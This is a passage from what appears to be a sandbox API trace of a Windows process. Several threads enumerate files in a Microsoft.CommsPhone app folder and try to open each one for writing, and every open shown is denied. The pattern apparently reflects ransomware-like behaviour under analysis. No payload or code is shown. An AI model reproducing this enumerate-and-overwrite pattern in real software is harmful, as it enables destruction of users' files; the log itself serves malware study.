	[0089.838] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x4747218 | out: lpFindFileData=0x4747218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd5373138, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0089.838] FindClose (in: hFindFile=0x2dac938 | out: hFindFile=0x2dac938) returned 1
	[0089.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4747218) returned 1
	[0089.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9780) returned 1
	[0089.839] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e478) returned 1

Thread:
	id = 560
	os_tid = 0x17e8

	[0077.464] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.726] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.726] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.222] GetLastError () returned 0x5
	[0085.222] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e138) returned 1

Thread:
	id = 561
	os_tid = 0x17ec

	[0077.466] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.725] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.725] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.725] GetLastError () returned 0x5
	[0081.725] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e548) returned 1

Thread:
	id = 562
	os_tid = 0x17f0

	[0077.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47c9850
	[0077.466] wcscpy (in: _Dest=0x47c9850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.466] wcscat (in: _Dest=0x47c9850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0077.466] wcscat (in: _Dest=0x47c9850, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0077.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4747480
	[0077.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4747480 | out: lpFindFileData=0x4747480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf18f1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87cb8
	[0081.729] wcscmp (_String1=".", _String2=".") returned 0
	[0081.729] FindNextFileW (in: hFindFile=0x2d87cb8, lpFindFileData=0x4747480 | out: lpFindFileData=0x4747480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf18f1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.729] wcscmp (_String1="..", _String2=".") returned 1
	[0081.730] wcscmp (_String1="..", _String2="..") returned 0
	[0081.730] FindNextFileW (in: hFindFile=0x2d87cb8, lpFindFileData=0x4747480 | out: lpFindFileData=0x4747480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x31a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0081.730] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0081.730] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0081.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb708
	[0081.730] wcscpy (in: _Dest=0x47eb708, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0081.730] wcscat (in: _Dest=0x47eb708, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0081.730] wcscat (in: _Dest=0x47eb708, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.957] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.958] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.958] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.958] GetLastError () returned 0x5
	[0091.958] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb708) returned 1
	[0091.958] FindNextFileW (in: hFindFile=0x2d87cb8, lpFindFileData=0x4747480 | out: lpFindFileData=0x4747480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x31a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.958] FindClose (in: hFindFile=0x2d87cb8 | out: hFindFile=0x2d87cb8) returned 1
	[0091.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4747480) returned 1
	[0091.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9850) returned 1
	[0091.958] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d886c8) returned 1

Thread:
	id = 563
	os_tid = 0x17f4

	[0077.467] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0081.731] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.731] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.224] GetLastError () returned 0x5
	[0085.224] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.224] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7eaf8) returned 1

Thread:
	id = 564
	os_tid = 0x17f8

	[0077.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47c8560
	[0077.467] wcscpy (in: _Dest=0x47c8560, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.467] wcscat (in: _Dest=0x47c8560, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0077.467] wcscat (in: _Dest=0x47c8560, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0077.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47476e8
	[0077.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaafbd2f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68bca1ad, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87d38
	[0081.729] wcscmp (_String1=".", _String2=".") returned 0
	[0081.729] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaafbd2f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68bca1ad, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.730] wcscmp (_String1="..", _String2=".") returned 1
	[0081.730] wcscmp (_String1="..", _String2="..") returned 0
	[0081.730] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Base1MedTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0081.730] wcscmp (_String1="Base1MedTileThin.scale-200.png", _String2=".") returned 1
	[0081.730] wcscmp (_String1="Base1MedTileThin.scale-200.png", _String2="..") returned 1
	[0081.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x47514d0
	[0081.730] wcscpy (in: _Dest=0x47514d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0081.730] wcscat (in: _Dest=0x47514d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0081.730] wcscat (in: _Dest=0x47514d0, _Source="Base1MedTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png"
	[0091.959] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base1medtilethin.scale-200.png")) returned 0x20
	[0091.961] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.961] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base1medtilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.961] GetLastError () returned 0x5
	[0091.961] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.961] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47514d0) returned 1
	[0091.961] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Base1SmallTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0091.961] wcscmp (_String1="Base1SmallTileThin.scale-200.png", _String2=".") returned 1
	[0091.961] wcscmp (_String1="Base1SmallTileThin.scale-200.png", _String2="..") returned 1
	[0091.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776760
	[0091.961] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.961] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.961] wcscat (in: _Dest=0x4776760, _Source="Base1SmallTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png"
	[0091.961] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base1smalltilethin.scale-200.png")) returned 0x20
	[0091.965] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.966] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base1smalltilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.966] GetLastError () returned 0x5
	[0091.966] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.966] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776760) returned 1
	[0091.966] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x67a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Base2MedTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0091.966] wcscmp (_String1="Base2MedTileThin.scale-200.png", _String2=".") returned 1
	[0091.966] wcscmp (_String1="Base2MedTileThin.scale-200.png", _String2="..") returned 1
	[0091.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491bc18
	[0091.966] wcscpy (in: _Dest=0x491bc18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.966] wcscat (in: _Dest=0x491bc18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.966] wcscat (in: _Dest=0x491bc18, _Source="Base2MedTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png"
	[0091.966] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base2medtilethin.scale-200.png")) returned 0x20
	[0091.966] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.966] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base2medtilethin.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.967] GetLastError () returned 0x5
	[0091.967] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2MedTileThin.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bc18) returned 1
	[0091.967] FindNextFileW (in: hFindFile=0x2d87d38, lpFindFileData=0x47476e8 | out: lpFindFileData=0x47476e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0b5e6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68b0b5e6, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68b0b5e6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Base2SmallTileThin.scale-200.png", cAlternateFileName="")) returned 1
	[0091.967] wcscmp (_String1="Base2SmallTileThin.scale-200.png", _String2=".") returned 1
	[0091.967] wcscmp (_String1="Base2SmallTileThin.scale-200.png", _String2="..") returned 1
	[0091.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776b60
	[0091.967] wcscpy (in: _Dest=0x4776b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.967] wcscat (in: _Dest=0x4776b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.967] wcscat (in: _Dest=0x4776b60, _Source="Base2SmallTileThin.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base2SmallTileThin.scale-200.png"
